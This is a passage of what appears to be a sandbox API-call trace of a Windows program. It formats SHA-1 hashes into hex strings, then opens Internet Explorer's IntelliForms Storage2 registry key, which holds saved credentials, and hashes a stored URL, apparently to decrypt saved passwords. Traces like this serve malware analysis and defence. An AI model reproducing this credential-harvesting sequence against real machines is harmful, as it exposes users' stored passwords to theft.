[0096.880] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.880] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0096.881] lstrlenW (lpString="B70771") returned 6 [0096.881] lstrlenW (lpString="6D") returned 2 [0096.881] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.881] lstrcpyW (in: lpString1=0x28c81c0, lpString2="B70771" | out: lpString1="B70771") returned="B70771" [0096.881] lstrcatW (in: lpString1="B70771", lpString2="6D" | out: lpString1="B707716D") returned="B707716D" [0096.881] LocalFree (hMem=0x28ca380) returned 0x0 [0096.881] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.881] lstrlenW (lpString="B707716D") returned 8 [0096.881] lstrlenW (lpString="E5") returned 2 [0096.881] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.881] lstrcpyW (in: lpString1=0x28ca380, lpString2="B707716D" | out: lpString1="B707716D") returned="B707716D" [0096.881] lstrcatW (in: lpString1="B707716D", lpString2="E5" | out: lpString1="B707716DE5") returned="B707716DE5" [0096.881] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.881] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.881] lstrlenW (lpString="B707716DE5") returned 10 [0096.881] lstrlenW (lpString="96") returned 2 [0096.881] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.881] lstrcpyW (in: lpString1=0x71cfb40, lpString2="B707716DE5" | out: lpString1="B707716DE5") returned="B707716DE5" [0096.881] lstrcatW (in: lpString1="B707716DE5", lpString2="96" | out: lpString1="B707716DE596") returned="B707716DE596" [0096.881] LocalFree (hMem=0x28ca380) returned 0x0 [0096.881] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0096.881] lstrlenW (lpString="B707716DE596") returned 12 [0096.881] lstrlenW (lpString="6E") returned 2 [0096.881] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.881] lstrcpyW (in: lpString1=0x71cf460, lpString2="B707716DE596" | out: lpString1="B707716DE596") returned="B707716DE596" [0096.881] lstrcatW (in: lpString1="B707716DE596", lpString2="6E" | out: lpString1="B707716DE5966E") returned="B707716DE5966E" [0096.881] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.881] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0096.881] lstrlenW (lpString="B707716DE5966E") returned 14 [0096.881] lstrlenW (lpString="B6") returned 2 [0096.881] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.881] lstrcpyW (in: lpString1=0x71cfb40, lpString2="B707716DE5966E" | out: lpString1="B707716DE5966E") returned="B707716DE5966E" [0096.881] lstrcatW (in: lpString1="B707716DE5966E", lpString2="B6" | out: lpString1="B707716DE5966EB6") returned="B707716DE5966EB6" [0096.881] LocalFree (hMem=0x71cf460) returned 0x0 [0096.881] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB6") returned 16 [0096.882] lstrlenW (lpString="5E") returned 2 [0096.882] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.882] lstrcpyW (in: lpString1=0x71cf460, lpString2="B707716DE5966EB6" | out: lpString1="B707716DE5966EB6") returned="B707716DE5966EB6" [0096.882] lstrcatW (in: lpString1="B707716DE5966EB6", lpString2="5E" | out: lpString1="B707716DE5966EB65E") returned="B707716DE5966EB65E" [0096.882] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.882] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB65E") returned 18 [0096.882] lstrlenW (lpString="A9") returned 2 [0096.882] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.882] lstrcpyW (in: lpString1=0x72912f0, lpString2="B707716DE5966EB65E" | out: lpString1="B707716DE5966EB65E") returned="B707716DE5966EB65E" [0096.882] lstrcatW (in: lpString1="B707716DE5966EB65E", lpString2="A9" | out: lpString1="B707716DE5966EB65EA9") returned="B707716DE5966EB65EA9" [0096.882] LocalFree (hMem=0x71cf460) returned 0x0 [0096.882] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB65EA9") returned 20 [0096.882] lstrlenW (lpString="62") returned 2 [0096.882] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.882] lstrcpyW (in: lpString1=0x7290b70, lpString2="B707716DE5966EB65EA9" | out: lpString1="B707716DE5966EB65EA9") returned="B707716DE5966EB65EA9" [0096.882] lstrcatW (in: lpString1="B707716DE5966EB65EA9", lpString2="62" | out: lpString1="B707716DE5966EB65EA962") returned="B707716DE5966EB65EA962" [0096.882] LocalFree (hMem=0x72912f0) returned 0x0 [0096.882] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB65EA962") returned 22 [0096.882] lstrlenW (lpString="9F") returned 2 [0096.882] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.882] lstrcpyW (in: lpString1=0x72912f0, lpString2="B707716DE5966EB65EA962" | out: lpString1="B707716DE5966EB65EA962") returned="B707716DE5966EB65EA962" [0096.882] lstrcatW (in: lpString1="B707716DE5966EB65EA962", lpString2="9F" | out: lpString1="B707716DE5966EB65EA9629F") returned="B707716DE5966EB65EA9629F" [0096.882] LocalFree (hMem=0x7290b70) returned 0x0 [0096.882] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB65EA9629F") returned 24 [0096.882] lstrlenW (lpString="40") returned 2 [0096.882] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.882] lstrcpyW (in: lpString1=0x7290b70, lpString2="B707716DE5966EB65EA9629F" | out: lpString1="B707716DE5966EB65EA9629F") returned="B707716DE5966EB65EA9629F" [0096.882] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F", lpString2="40" | out: lpString1="B707716DE5966EB65EA9629F40") returned="B707716DE5966EB65EA9629F40" [0096.882] LocalFree (hMem=0x72912f0) returned 0x0 [0096.882] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0096.882] lstrlenW (lpString="B707716DE5966EB65EA9629F40") returned 26 [0096.882] lstrlenW (lpString="CE") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.883] lstrcpyW (in: lpString1=0x2815670, lpString2="B707716DE5966EB65EA9629F40" | out: lpString1="B707716DE5966EB65EA9629F40") returned="B707716DE5966EB65EA9629F40" [0096.883] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40", lpString2="CE" | out: lpString1="B707716DE5966EB65EA9629F40CE") returned="B707716DE5966EB65EA9629F40CE" [0096.883] LocalFree (hMem=0x7290b70) returned 0x0 [0096.883] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4B") returned 2 [0096.883] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE") returned 28 [0096.883] lstrlenW (lpString="4B") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.883] lstrcpyW (in: lpString1=0x2815a80, lpString2="B707716DE5966EB65EA9629F40CE" | out: lpString1="B707716DE5966EB65EA9629F40CE") returned="B707716DE5966EB65EA9629F40CE" [0096.883] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE", lpString2="4B" | out: lpString1="B707716DE5966EB65EA9629F40CE4B") returned="B707716DE5966EB65EA9629F40CE4B" [0096.883] LocalFree (hMem=0x2815670) returned 0x0 [0096.883] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="98") returned 2 [0096.883] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B") returned 30 [0096.883] lstrlenW (lpString="98") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.883] lstrcpyW (in: lpString1=0x2815670, lpString2="B707716DE5966EB65EA9629F40CE4B" | out: lpString1="B707716DE5966EB65EA9629F40CE4B") returned="B707716DE5966EB65EA9629F40CE4B" [0096.883] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B", lpString2="98" | out: lpString1="B707716DE5966EB65EA9629F40CE4B98") returned="B707716DE5966EB65EA9629F40CE4B98" [0096.883] LocalFree (hMem=0x2815a80) returned 0x0 [0096.883] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0096.883] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B98") returned 32 [0096.883] lstrlenW (lpString="8D") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.883] lstrcpyW (in: lpString1=0x2815a80, lpString2="B707716DE5966EB65EA9629F40CE4B98" | out: lpString1="B707716DE5966EB65EA9629F40CE4B98") returned="B707716DE5966EB65EA9629F40CE4B98" [0096.883] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B98", lpString2="8D" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D") returned="B707716DE5966EB65EA9629F40CE4B988D" [0096.883] LocalFree (hMem=0x2815670) returned 0x0 [0096.883] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0096.883] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B988D") returned 34 [0096.883] lstrlenW (lpString="1D") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.883] lstrcpyW (in: lpString1=0x28e7670, lpString2="B707716DE5966EB65EA9629F40CE4B988D" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D") returned="B707716DE5966EB65EA9629F40CE4B988D" [0096.883] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B988D", lpString2="1D" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D") returned="B707716DE5966EB65EA9629F40CE4B988D1D" [0096.883] LocalFree (hMem=0x2815a80) returned 0x0 [0096.883] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="88") returned 2 [0096.883] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B988D1D") returned 36 [0096.883] lstrlenW (lpString="88") returned 2 [0096.883] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.883] lstrcpyW (in: lpString1=0x28e7910, lpString2="B707716DE5966EB65EA9629F40CE4B988D1D" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D") returned="B707716DE5966EB65EA9629F40CE4B988D1D" [0096.884] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D", lpString2="88" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88") returned="B707716DE5966EB65EA9629F40CE4B988D1D88" [0096.884] LocalFree (hMem=0x28e7670) returned 0x0 [0096.884] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0096.884] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B988D1D88") returned 38 [0096.884] lstrlenW (lpString="FB") returned 2 [0096.884] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.884] lstrcpyW (in: lpString1=0x28e7670, lpString2="B707716DE5966EB65EA9629F40CE4B988D1D88" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88") returned="B707716DE5966EB65EA9629F40CE4B988D1D88" [0096.884] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88", lpString2="FB" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88FB") returned="B707716DE5966EB65EA9629F40CE4B988D1D88FB" [0096.884] LocalFree (hMem=0x28e7910) returned 0x0 [0096.884] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="61") returned 2 [0096.884] lstrlenW (lpString="B707716DE5966EB65EA9629F40CE4B988D1D88FB") returned 40 [0096.884] lstrlenW (lpString="61") returned 2 [0096.884] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.884] lstrcpyW (in: lpString1=0x28e7910, lpString2="B707716DE5966EB65EA9629F40CE4B988D1D88FB" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88FB") returned="B707716DE5966EB65EA9629F40CE4B988D1D88FB" [0096.884] lstrcatW (in: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88FB", lpString2="61" | out: lpString1="B707716DE5966EB65EA9629F40CE4B988D1D88FB61") returned="B707716DE5966EB65EA9629F40CE4B988D1D88FB61" [0096.884] LocalFree (hMem=0x28e7670) returned 0x0 [0096.884] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.884] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.884] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.884] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.884] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.884] LocalFree (hMem=0x28e7910) returned 0x0 [0096.884] RegEnumValueW (in: hKey=0x368, dwIndex=0x12, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url32", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.884] StrStrIW (lpFirst="yahoo.com", lpSrch="?") returned 0x0 [0096.884] StrStrIW (lpFirst="yahoo.com", lpSrch="http://") returned 0x0 [0096.884] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.885] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.885] lstrlenW (lpString="yahoo.com") returned 9 [0096.885] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0096.885] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.885] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0096.885] lstrlenW (lpString="") returned 0 [0096.885] lstrlenW (lpString="8D") returned 2 [0096.885] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.885] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.885] lstrcatW (in: lpString1="", lpString2="8D" | out: lpString1="8D") returned="8D" [0096.885] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.885] lstrlenW (lpString="8D") returned 2 [0096.885] lstrlenW (lpString="FD") returned 2 [0096.885] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.885] lstrcpyW (in: lpString1=0x28ca380, lpString2="8D" | out: lpString1="8D") returned="8D" [0096.885] lstrcatW (in: lpString1="8D", lpString2="FD" | out: lpString1="8DFD") returned="8DFD" [0096.885] LocalFree (hMem=0x7222e70) returned 0x0 [0096.885] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8E") returned 2 [0096.885] lstrlenW (lpString="8DFD") returned 4 [0096.885] lstrlenW (lpString="8E") returned 2 [0096.885] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.885] lstrcpyW (in: lpString1=0x28c81c0, lpString2="8DFD" | out: lpString1="8DFD") returned="8DFD" [0096.886] lstrcatW (in: lpString1="8DFD", lpString2="8E" | out: lpString1="8DFD8E") returned="8DFD8E" [0096.886] LocalFree (hMem=0x28ca380) returned 0x0 [0096.886] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.886] lstrlenW (lpString="8DFD8E") returned 6 [0096.886] lstrlenW (lpString="B7") returned 2 [0096.886] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.886] lstrcpyW (in: lpString1=0x28ca380, lpString2="8DFD8E" | out: lpString1="8DFD8E") returned="8DFD8E" [0096.886] lstrcatW (in: lpString1="8DFD8E", lpString2="B7" | out: lpString1="8DFD8EB7") returned="8DFD8EB7" [0096.886] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.886] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0096.886] lstrlenW (lpString="8DFD8EB7") returned 8 [0096.886] lstrlenW (lpString="22") returned 2 [0096.886] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.886] lstrcpyW (in: lpString1=0x28c81c0, lpString2="8DFD8EB7" | out: lpString1="8DFD8EB7") returned="8DFD8EB7" [0096.886] lstrcatW (in: lpString1="8DFD8EB7", lpString2="22" | out: lpString1="8DFD8EB722") returned="8DFD8EB722" [0096.886] LocalFree (hMem=0x28ca380) returned 0x0 [0096.886] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0096.886] lstrlenW (lpString="8DFD8EB722") returned 10 [0096.886] lstrlenW (lpString="F5") returned 2 [0096.886] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.886] lstrcpyW (in: lpString1=0x71cf460, lpString2="8DFD8EB722" | out: lpString1="8DFD8EB722") returned="8DFD8EB722" [0096.886] lstrcatW (in: lpString1="8DFD8EB722", lpString2="F5" | out: lpString1="8DFD8EB722F5") returned="8DFD8EB722F5" [0096.886] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.886] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0096.886] lstrlenW (lpString="8DFD8EB722F5") returned 12 [0096.886] lstrlenW (lpString="F0") returned 2 [0096.886] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.886] lstrcpyW (in: lpString1=0x71cfb40, lpString2="8DFD8EB722F5" | out: lpString1="8DFD8EB722F5") returned="8DFD8EB722F5" [0096.886] lstrcatW (in: lpString1="8DFD8EB722F5", lpString2="F0" | out: lpString1="8DFD8EB722F5F0") returned="8DFD8EB722F5F0" [0096.886] LocalFree (hMem=0x71cf460) returned 0x0 [0096.886] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0096.886] lstrlenW (lpString="8DFD8EB722F5F0") returned 14 [0096.886] lstrlenW (lpString="7F") returned 2 [0096.886] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.886] lstrcpyW (in: lpString1=0x71cf460, lpString2="8DFD8EB722F5F0" | out: lpString1="8DFD8EB722F5F0") returned="8DFD8EB722F5F0" [0096.886] lstrcatW (in: lpString1="8DFD8EB722F5F0", lpString2="7F" | out: lpString1="8DFD8EB722F5F07F") returned="8DFD8EB722F5F07F" [0096.887] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0096.887] lstrlenW (lpString="8DFD8EB722F5F07F") returned 16 [0096.887] lstrlenW (lpString="2D") returned 2 [0096.887] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.887] lstrcpyW (in: lpString1=0x71cfb40, lpString2="8DFD8EB722F5F07F" | out: lpString1="8DFD8EB722F5F07F") returned="8DFD8EB722F5F07F" [0096.887] lstrcatW (in: lpString1="8DFD8EB722F5F07F", lpString2="2D" | out: lpString1="8DFD8EB722F5F07F2D") returned="8DFD8EB722F5F07F2D" [0096.887] LocalFree (hMem=0x71cf460) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0096.887] lstrlenW (lpString="8DFD8EB722F5F07F2D") returned 18 [0096.887] lstrlenW (lpString="9A") returned 2 [0096.887] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.887] lstrcpyW (in: lpString1=0x7290b70, lpString2="8DFD8EB722F5F07F2D" | out: lpString1="8DFD8EB722F5F07F2D") returned="8DFD8EB722F5F07F2D" [0096.887] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D", lpString2="9A" | out: lpString1="8DFD8EB722F5F07F2D9A") returned="8DFD8EB722F5F07F2D9A" [0096.887] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0096.887] lstrlenW (lpString="8DFD8EB722F5F07F2D9A") returned 20 [0096.887] lstrlenW (lpString="1A") returned 2 [0096.887] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.887] lstrcpyW (in: lpString1=0x72912f0, lpString2="8DFD8EB722F5F07F2D9A" | out: lpString1="8DFD8EB722F5F07F2D9A") returned="8DFD8EB722F5F07F2D9A" [0096.887] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A", lpString2="1A" | out: lpString1="8DFD8EB722F5F07F2D9A1A") returned="8DFD8EB722F5F07F2D9A1A" [0096.887] LocalFree (hMem=0x7290b70) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="69") returned 2 [0096.887] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A") returned 22 [0096.887] lstrlenW (lpString="69") returned 2 [0096.887] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.887] lstrcpyW (in: lpString1=0x7290b70, lpString2="8DFD8EB722F5F07F2D9A1A" | out: lpString1="8DFD8EB722F5F07F2D9A1A") returned="8DFD8EB722F5F07F2D9A1A" [0096.887] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A", lpString2="69" | out: lpString1="8DFD8EB722F5F07F2D9A1A69") returned="8DFD8EB722F5F07F2D9A1A69" [0096.887] LocalFree (hMem=0x72912f0) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0096.887] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69") returned 24 [0096.887] lstrlenW (lpString="DD") returned 2 [0096.887] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.887] lstrcpyW (in: lpString1=0x72912f0, lpString2="8DFD8EB722F5F07F2D9A1A69" | out: lpString1="8DFD8EB722F5F07F2D9A1A69") returned="8DFD8EB722F5F07F2D9A1A69" [0096.887] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69", lpString2="DD" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD") returned="8DFD8EB722F5F07F2D9A1A69DD" [0096.887] LocalFree (hMem=0x7290b70) returned 0x0 [0096.887] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="93") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD") returned 26 [0096.888] lstrlenW (lpString="93") returned 2 [0096.888] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.888] lstrcpyW (in: lpString1=0x2815a80, lpString2="8DFD8EB722F5F07F2D9A1A69DD" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD") returned="8DFD8EB722F5F07F2D9A1A69DD" [0096.888] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD", lpString2="93" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93") returned="8DFD8EB722F5F07F2D9A1A69DD93" [0096.888] LocalFree (hMem=0x72912f0) returned 0x0 [0096.888] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FF") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93") returned 28 [0096.888] lstrlenW (lpString="FF") returned 2 [0096.888] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.888] lstrcpyW (in: lpString1=0x2815670, lpString2="8DFD8EB722F5F07F2D9A1A69DD93" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93") returned="8DFD8EB722F5F07F2D9A1A69DD93" [0096.888] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93", lpString2="FF" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF") returned="8DFD8EB722F5F07F2D9A1A69DD93FF" [0096.888] LocalFree (hMem=0x2815a80) returned 0x0 [0096.888] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF") returned 30 [0096.888] lstrlenW (lpString="86") returned 2 [0096.888] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.888] lstrcpyW (in: lpString1=0x2815a80, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF") returned="8DFD8EB722F5F07F2D9A1A69DD93FF" [0096.888] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF", lpString2="86" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF86") returned="8DFD8EB722F5F07F2D9A1A69DD93FF86" [0096.888] LocalFree (hMem=0x2815670) returned 0x0 [0096.888] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF86") returned 32 [0096.888] lstrlenW (lpString="3E") returned 2 [0096.888] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.888] lstrcpyW (in: lpString1=0x2815670, lpString2="8DFD8EB722F5F07F2D9A1A69DD93FF86" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF86") returned="8DFD8EB722F5F07F2D9A1A69DD93FF86" [0096.888] lstrcatW (in: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF86", lpString2="3E" | out: lpString1="8DFD8EB722F5F07F2D9A1A69DD93FF863E") returned="8DFD8EB722F5F07F2D9A1A69DD93FF863E" [0096.888] LocalFree (hMem=0x2815a80) returned 0x0 [0096.888] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0096.888] lstrlenW (lpString="8DFD8EB722F5F07F2D9A1A69DD93FF863E") returned 34 [0096.888] lstrlenW 